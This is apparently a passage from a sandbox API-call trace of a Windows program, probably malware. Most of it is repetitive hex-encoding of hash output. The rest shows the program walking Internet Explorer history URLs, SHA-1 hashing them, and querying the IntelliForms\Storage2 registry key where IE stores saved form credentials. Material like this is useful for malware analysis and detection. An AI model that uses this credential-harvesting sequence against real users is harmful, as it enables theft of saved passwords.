_vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0097.109] lstrlenW (lpString="FB9106BD95A2DC") returned 14 [0097.109] lstrlenW (lpString="3E") returned 2 [0097.109] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.109] lstrcpyW (in: lpString1=0x71cf460, lpString2="FB9106BD95A2DC" | out: lpString1="FB9106BD95A2DC") returned="FB9106BD95A2DC" [0097.109] lstrcatW (in: lpString1="FB9106BD95A2DC", lpString2="3E" | out: lpString1="FB9106BD95A2DC3E") returned="FB9106BD95A2DC3E" [0097.109] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.109] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="59") returned 2 [0097.109] lstrlenW (lpString="FB9106BD95A2DC3E") returned 16 [0097.109] lstrlenW (lpString="59") returned 2 [0097.109] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.109] lstrcpyW (in: lpString1=0x71cfb40, lpString2="FB9106BD95A2DC3E" | out: lpString1="FB9106BD95A2DC3E") returned="FB9106BD95A2DC3E" [0097.110] lstrcatW (in: lpString1="FB9106BD95A2DC3E", lpString2="59" | out: lpString1="FB9106BD95A2DC3E59") returned="FB9106BD95A2DC3E59" [0097.110] LocalFree (hMem=0x71cf460) returned 0x0 [0097.110] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="01") returned 2 [0097.110] lstrlenW (lpString="FB9106BD95A2DC3E59") returned 18 [0097.110] lstrlenW (lpString="01") returned 2 [0097.110] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.110] lstrcpyW (in: lpString1=0x7290b70, lpString2="FB9106BD95A2DC3E59" | out: lpString1="FB9106BD95A2DC3E59") returned="FB9106BD95A2DC3E59" [0097.110] lstrcatW (in: lpString1="FB9106BD95A2DC3E59", lpString2="01" | out: lpString1="FB9106BD95A2DC3E5901") returned="FB9106BD95A2DC3E5901" [0097.110] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.110] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0097.110] lstrlenW (lpString="FB9106BD95A2DC3E5901") returned 20 [0097.110] lstrlenW (lpString="D6") returned 2 [0097.110] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.110] lstrcpyW (in: lpString1=0x72912f0, lpString2="FB9106BD95A2DC3E5901" | out: lpString1="FB9106BD95A2DC3E5901") returned="FB9106BD95A2DC3E5901" [0097.110] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901", lpString2="D6" | out: lpString1="FB9106BD95A2DC3E5901D6") returned="FB9106BD95A2DC3E5901D6" [0097.110] LocalFree (hMem=0x7290b70) returned 0x0 [0097.110] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="40") returned 2 [0097.110] lstrlenW (lpString="FB9106BD95A2DC3E5901D6") returned 22 [0097.110] lstrlenW (lpString="40") returned 2 [0097.110] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.110] lstrcpyW (in: lpString1=0x7290b70, lpString2="FB9106BD95A2DC3E5901D6" | out: lpString1="FB9106BD95A2DC3E5901D6") returned="FB9106BD95A2DC3E5901D6" [0097.110] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D6", lpString2="40" | out: lpString1="FB9106BD95A2DC3E5901D640") returned="FB9106BD95A2DC3E5901D640" [0097.110] LocalFree (hMem=0x72912f0) returned 0x0 [0097.110] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0097.110] lstrlenW (lpString="FB9106BD95A2DC3E5901D640") returned 24 [0097.110] lstrlenW (lpString="E4") returned 2 [0097.110] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.110] lstrcpyW (in: lpString1=0x72912f0, lpString2="FB9106BD95A2DC3E5901D640" | out: lpString1="FB9106BD95A2DC3E5901D640") returned="FB9106BD95A2DC3E5901D640" [0097.110] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640", lpString2="E4" | out: lpString1="FB9106BD95A2DC3E5901D640E4") returned="FB9106BD95A2DC3E5901D640E4" [0097.110] LocalFree (hMem=0x7290b70) returned 0x0 [0097.110] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0097.110] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4") returned 26 [0097.110] lstrlenW (lpString="B1") returned 2 [0097.110] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.110] lstrcpyW (in: lpString1=0x2815a80, lpString2="FB9106BD95A2DC3E5901D640E4" | out: lpString1="FB9106BD95A2DC3E5901D640E4") returned="FB9106BD95A2DC3E5901D640E4" [0097.110] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4", lpString2="B1" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1") returned="FB9106BD95A2DC3E5901D640E4B1" [0097.110] LocalFree (hMem=0x72912f0) returned 0x0 [0097.111] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0097.111] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4B1") returned 28 [0097.111] lstrlenW (lpString="CA") returned 2 [0097.111] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.111] lstrcpyW (in: lpString1=0x2815670, lpString2="FB9106BD95A2DC3E5901D640E4B1" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1") returned="FB9106BD95A2DC3E5901D640E4B1" [0097.111] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4B1", lpString2="CA" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CA") returned="FB9106BD95A2DC3E5901D640E4B1CA" [0097.111] LocalFree (hMem=0x2815a80) returned 0x0 [0097.111] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D2") returned 2 [0097.111] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4B1CA") returned 30 [0097.111] lstrlenW (lpString="D2") returned 2 [0097.111] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.111] lstrcpyW (in: lpString1=0x2815a80, lpString2="FB9106BD95A2DC3E5901D640E4B1CA" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CA") returned="FB9106BD95A2DC3E5901D640E4B1CA" [0097.111] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4B1CA", lpString2="D2" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD2") returned="FB9106BD95A2DC3E5901D640E4B1CAD2" [0097.111] LocalFree (hMem=0x2815670) returned 0x0 [0097.111] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="79") returned 2 [0097.111] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4B1CAD2") returned 32 [0097.111] lstrlenW (lpString="79") returned 2 [0097.111] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.111] lstrcpyW (in: lpString1=0x2815670, lpString2="FB9106BD95A2DC3E5901D640E4B1CAD2" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD2") returned="FB9106BD95A2DC3E5901D640E4B1CAD2" [0097.111] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD2", lpString2="79" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279") returned="FB9106BD95A2DC3E5901D640E4B1CAD279" [0097.111] LocalFree (hMem=0x2815a80) returned 0x0 [0097.111] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.111] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4B1CAD279") returned 34 [0097.111] lstrlenW (lpString="EC") returned 2 [0097.111] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.111] lstrcpyW (in: lpString1=0x28e7910, lpString2="FB9106BD95A2DC3E5901D640E4B1CAD279" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279") returned="FB9106BD95A2DC3E5901D640E4B1CAD279" [0097.111] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279", lpString2="EC" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279EC") returned="FB9106BD95A2DC3E5901D640E4B1CAD279EC" [0097.124] LocalFree (hMem=0x2815670) returned 0x0 [0097.124] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.125] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4B1CAD279EC") returned 36 [0097.125] lstrlenW (lpString="E8") returned 2 [0097.125] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.125] lstrcpyW (in: lpString1=0x28e7670, lpString2="FB9106BD95A2DC3E5901D640E4B1CAD279EC" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279EC") returned="FB9106BD95A2DC3E5901D640E4B1CAD279EC" [0097.125] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279EC", lpString2="E8" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8") returned="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8" [0097.125] LocalFree (hMem=0x28e7910) returned 0x0 [0097.125] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B8") returned 2 [0097.125] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8") returned 38 [0097.125] lstrlenW (lpString="B8") returned 2 [0097.125] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.125] lstrcpyW (in: lpString1=0x28e7910, lpString2="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8") returned="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8" [0097.125] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8", lpString2="B8" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B8") returned="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B8" [0097.125] LocalFree (hMem=0x28e7670) returned 0x0 [0097.125] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0097.125] lstrlenW (lpString="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B8") returned 40 [0097.125] lstrlenW (lpString="46") returned 2 [0097.125] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.125] lstrcpyW (in: lpString1=0x28e7670, lpString2="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B8" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B8") returned="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B8" [0097.125] lstrcatW (in: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B8", lpString2="46" | out: lpString1="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B846") returned="FB9106BD95A2DC3E5901D640E4B1CAD279ECE8B846" [0097.125] LocalFree (hMem=0x28e7910) returned 0x0 [0097.125] CryptDestroyHash (hHash=0x4469e70) returned 1 [0097.125] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.125] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.125] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.125] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.126] LocalFree (hMem=0x28e7670) returned 0x0 [0097.126] CoTaskMemFree (pv=0x28c8f80) [0097.126] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.126] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/XE7__nVIHDZVBiwh.doc", lpSrch="?") returned 0x0 [0097.126] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.311] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.311] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/XE7__nVIHDZVBiwh.doc") returned 54 [0097.311] CryptHashData (hHash=0x4469ee0, pbData=0x447c170, dwDataLen=0x6e, dwFlags=0x0) returned 1 [0097.311] CryptGetHashParam (in: hHash=0x4469ee0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.311] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3E") returned 2 [0097.311] lstrlenW (lpString="") returned 0 [0097.311] lstrlenW (lpString="3E") returned 2 [0097.311] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.311] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.311] lstrcatW (in: lpString1="", lpString2="3E" | out: lpString1="3E") returned="3E" [0097.311] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="26") returned 2 [0097.311] lstrlenW (lpString="3E") returned 2 [0097.311] lstrlenW (lpString="26") returned 2 [0097.311] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8f80 [0097.311] lstrcpyW (in: lpString1=0x28c8f80, lpString2="3E" | out: lpString1="3E") returned="3E" [0097.311] lstrcatW (in: lpString1="3E", lpString2="26" | out: lpString1="3E26") returned="3E26" [0097.311] LocalFree (hMem=0x7187650) returned 0x0 [0097.311] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0097.311] lstrlenW (lpString="3E26") returned 4 [0097.311] lstrlenW (lpString="96") returned 2 [0097.311] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca4c0 [0097.311] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="3E26" | out: lpString1="3E26") returned="3E26" [0097.311] lstrcatW (in: lpString1="3E26", lpString2="96" | out: lpString1="3E2696") returned="3E2696" [0097.311] LocalFree (hMem=0x28c8f80) returned 0x0 [0097.311] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0097.311] lstrlenW (lpString="3E2696") returned 6 [0097.312] lstrlenW (lpString="37") returned 2 [0097.312] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8f80 [0097.312] lstrcpyW (in: lpString1=0x28c8f80, lpString2="3E2696" | out: lpString1="3E2696") returned="3E2696" [0097.312] lstrcatW (in: lpString1="3E2696", lpString2="37" | out: lpString1="3E269637") returned="3E269637" [0097.312] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.312] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.312] lstrlenW (lpString="3E269637") returned 8 [0097.312] lstrlenW (lpString="90") returned 2 [0097.312] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca4c0 [0097.312] lstrcpyW (in: lpString1=0x28ca4c0, lpString2="3E269637" | out: lpString1="3E269637") returned="3E269637" [0097.312] lstrcatW (in: lpString1="3E269637", lpString2="90" | out: lpString1="3E26963790") returned="3E26963790" [0097.312] LocalFree (hMem=0x28c8f80) returned 0x0 [0097.312] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="82") returned 2 [0097.312] lstrlenW (lpString="3E26963790") returned 10 [0097.312] lstrlenW (lpString="82") returned 2 [0097.312] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.312] lstrcpyW (in: lpString1=0x71cfb40, lpString2="3E26963790" | out: lpString1="3E26963790") returned="3E26963790" [0097.312] lstrcatW (in: lpString1="3E26963790", lpString2="82" | out: lpString1="3E2696379082") returned="3E2696379082" [0097.312] LocalFree (hMem=0x28ca4c0) returned 0x0 [0097.312] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0097.312] lstrlenW (lpString="3E2696379082") returned 12 [0097.312] lstrlenW (lpString="B4") returned 2 [0097.312] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.312] lstrcpyW (in: lpString1=0x71cf460, lpString2="3E2696379082" | out: lpString1="3E2696379082") returned="3E2696379082" [0097.312] lstrcatW (in: lpString1="3E2696379082", lpString2="B4" | out: lpString1="3E2696379082B4") returned="3E2696379082B4" [0097.312] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.312] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="57") returned 2 [0097.312] lstrlenW (lpString="3E2696379082B4") returned 14 [0097.312] lstrlenW (lpString="57") returned 2 [0097.312] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.312] lstrcpyW (in: lpString1=0x71cfb40, lpString2="3E2696379082B4" | out: lpString1="3E2696379082B4") returned="3E2696379082B4" [0097.312] lstrcatW (in: lpString1="3E2696379082B4", lpString2="57" | out: lpString1="3E2696379082B457") returned="3E2696379082B457" [0097.312] LocalFree (hMem=0x71cf460) returned 0x0 [0097.312] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7A") returned 2 [0097.312] lstrlenW (lpString="3E2696379082B457") returned 16 [0097.312] lstrlenW (lpString="7A") returned 2 [0097.312] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.312] lstrcpyW (in: lpString1=0x71cf460, lpString2="3E2696379082B457" | out: lpString1="3E2696379082B457") returned="3E2696379082B457" [0097.313] lstrcatW (in: lpString1="3E2696379082B457", lpString2="7A" | out: lpString1="3E2696379082B4577A") returned="3E2696379082B4577A" [0097.313] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.313] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0097.313] lstrlenW (lpString="3E2696379082B4577A") returned 18 [0097.313] lstrlenW (lpString="75") returned 2 [0097.313] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.313] lstrcpyW (in: lpString1=0x72912f0, lpString2="3E2696379082B4577A" | out: lpString1="3E2696379082B4577A") returned="3E2696379082B4577A" [0097.313] lstrcatW (in: lpString1="3E2696379082B4577A", lpString2="75" | out: lpString1="3E2696379082B4577A75") returned="3E2696379082B4577A75" [0097.313] LocalFree (hMem=0x71cf460) returned 0x0 [0097.313] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BC") returned 2 [0097.313] lstrlenW (lpString="3E2696379082B4577A75") returned 20 [0097.313] lstrlenW (lpString="BC") returned 2 [0097.313] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.313] lstrcpyW (in: lpString1=0x7290b70, lpString2="3E2696379082B4577A75" | out: lpString1="3E2696379082B4577A75") returned="3E2696379082B4577A75" [0097.313] lstrcatW (in: lpString1="3E2696379082B4577A75", lpString2="BC" | out: lpString1="3E2696379082B4577A75BC") returned="3E2696379082B4577A75BC" [0097.313] LocalFree (hMem=0x72912f0) returned 0x0 [0097.313] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="01") returned 2 [0097.313] lstrlenW (lpString="3E2696379082B4577A75BC") returned 22 [0097.313] lstrlenW (lpString="01") returned 2 [0097.313] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.313] lstrcpyW (in: lpString1=0x72912f0, lpString2="3E2696379082B4577A75BC" | out: lpString1="3E2696379082B4577A75BC") returned="3E2696379082B4577A75BC" [0097.313] lstrcatW (in: lpString1="3E2696379082B4577A75BC", lpString2="01" | out: lpString1="3E2696379082B4577A75BC01") returned="3E2696379082B4577A75BC01" [0097.313] LocalFree (hMem=0x7290b70) returned 0x0 [0097.313] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0097.313] lstrlenW (lpString="3E2696379082B4577A75BC01") returned 24 [0097.313] lstrlenW (lpString="2E") returned 2 [0097.313] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.313] lstrcpyW (in: lpString1=0x7290b70, lpString2="3E2696379082B4577A75BC01" | out: lpString1="3E2696379082B4577A75BC01") returned="3E2696379082B4577A75BC01" [0097.313] lstrcatW (in: lpString1="3E2696379082B4577A75BC01", lpString2="2E" | out: lpString1="3E2696379082B4577A75BC012E") returned="3E2696379082B4577A75BC012E" [0097.313] LocalFree (hMem=0x72912f0) returned 0x0 [0097.313] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0097.313] lstrlenW (lpString="3E2696379082B4577A75BC012E") returned 26 [0097.313] lstrlenW (lpString="DE") returned 2 [0097.313] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.313] lstrcpyW (in: lpString1=0x2815670, lpString2="3E2696379082B4577A75BC012E" | out: lpString1="3E2696379082B4577A75BC012E") returned="3E2696379082B4577A75BC012E" [0097.313] lstrcatW (in: lpString1="3E2696379082B4577A75BC012E", lpString2="DE" | out: lpString1="3E2696379082B4577A75BC012EDE") returned="3E2696379082B4577A75BC012EDE" [0097.314] LocalFree (hMem=0x7290b70) returned 0x0 [0097.314] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="82") returned 2 [0097.314] lstrlenW (lpString="3E2696379082B4577A75BC012EDE") returned 28 [0097.314] lstrlenW (lpString="82") returned 2 [0097.314] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.314] lstrcpyW (in: lpString1=0x2815a80, lpString2="3E2696379082B4577A75BC012EDE" | out: lpString1="3E2696379082B4577A75BC012EDE") returned="3E2696379082B4577A75BC012EDE" [0097.314] lstrcatW (in: lpString1="3E2696379082B4577A75BC012EDE", lpString2="82" | out: lpString1="3E2696379082B4577A75BC012EDE82") returned="3E2696379082B4577A75BC012EDE82" [0097.314] LocalFree (hMem=0x2815670) returned 0x0 [0097.314] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0097.314] lstrlenW (lpString="3E2696379082B4577A75BC012EDE82") returned 30 [0097.314] lstrlenW (lpString="37") returned 2 [0097.314] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.314] lstrcpyW (in: lpString1=0x2815670, lpString2="3E2696379082B4577A75BC012EDE82" | out: lpString1="3E2696379082B4577A75BC012EDE82") returned="3E2696379082B4577A75BC012EDE82" [0097.314] lstrcatW (in: lpString1="3E2696379082B4577A75BC012EDE82", lpString2="37" | out: lpString1="3E2696379082B4577A75BC012EDE8237") returned="3E2696379082B4577A75BC012EDE8237" [0097.314] LocalFree (hMem=0x2815a80) returned 0x0 [0097.314] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0097.314] lstrlenW (lpString="3E2696379082B4577A75BC012EDE8237") returned 32 [0097.314] lstrlenW (lpString="06") returned 2 [0097.314] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.314] lstrcpyW (in: lpString1=0x2815a80, lpString2="3E2696379082B4577A75BC012EDE8237" | out: lpString1="3E2696379082B4577A75BC012EDE8237") returned="3E2696379082B4577A75BC012EDE8237" [0097.314] lstrcatW (in: lpString1="3E2696379082B4577A75BC012EDE8237", lpString2="06" | out: lpString1="3E2696379082B4577A75BC012EDE823706") returned="3E2696379082B4577A75BC012EDE823706" [0097.314] LocalFree (hMem=0x2815670) returned 0x0 [0097.314] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0097.314] lstrlenW (lpString="3E2696379082B4577A75BC012EDE823706") returned 34 [0097.314] lstrlenW (lpString="C2") returned 2 [0097.315] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.315] lstrcpyW (in: lpString1=0x28e7670, lpString2="3E2696379082B4577A75BC012EDE823706" | out: lpString1="3E2696379082B4577A75BC012EDE823706") returned="3E2696379082B4577A75BC012EDE823706" [0097.315] lstrcatW (in: lpString1="3E2696379082B4577A75BC012EDE823706", lpString2="C2" | out: lpString1="3E2696379082B4577A75BC012EDE823706C2") returned="3E2696379082B4577A75BC012EDE823706C2" [0097.315] LocalFree (hMem=0x2815a80) returned 0x0 [0097.315] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0097.315] lstrlenW (lpString="3E2696379082B4577A75BC012EDE823706C2") returned 36 [0097.315] lstrlenW (lpString="07") returned 2 [0097.315] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.315] lstrcpyW (in: lpString1=0x28e7910, lpString2="3E2696379082B4577A75BC012EDE823706C2" | out: lpString1="3E2696379082B4577A75BC012EDE823706C2") returned="3E2696379082B4577A75BC012EDE823706C2" [0097.315] lstrcatW (in: lpString1="3E2696379082B4577A75BC012EDE823706C2", lpString2="07" | out: lpString1="3E2696379082B4577A75BC012EDE823706C207") returned="3E2696379082B4577A75BC012EDE823706C207" [0097.315] LocalFree (hMem=0x28e7670) returned 0x0 [0097.315] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="60") returned 2 [0097.315] lstrlenW (lpString="3E2696379082B4577A75BC012EDE823706C207") returned 38 [0097.315] lstrlenW (lpString="60") returned 2 [0097.315] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.315] lstrcpyW (in: lpString1=0x28e7670, lpString2="3E2696379082B4577A75BC012EDE823706C207" | out: lpString1="3E2696379082B4577A75BC012EDE823706C207") returned="3E2696379082B4577A75BC012EDE823706C207" [0097.315] lstrcatW (in: lpString1="3E2696379082B4577A75BC012EDE823706C207", lpString2="60" | out: lpString1="3E2696379082B4577A75BC012EDE823706C20760") returned="3E2696379082B4577A75BC012EDE823706C20760" [0097.315] LocalFree (hMem=0x28e7910) returned 0x0 [0097.315] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0097.315] lstrlenW (lpString="3E2696379082B4577A75BC012EDE823706C20760") returned 40 [0097.315] lstrlenW (lpString="EE") returned 2 [0097.315] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.315] lstrcpyW (in: lpString1=0x28e7910, lpString2="3E2696379082B4577A75BC012EDE823706C20760" | out: lpString1="3E2696379082B4577A75BC012EDE823706C20760") returned="3E2696379082B4577A75BC012EDE823706C20760" [0097.315] lstrcatW (in: lpString1="3E2696379082B4577A75BC012EDE823706C20760", lpString2="EE" | out: lpString1="3E2696379082B4577A75BC012EDE823706C20760EE") returned="3E2696379082B4577A75BC012EDE823706C20760EE" [0097.315] LocalFree 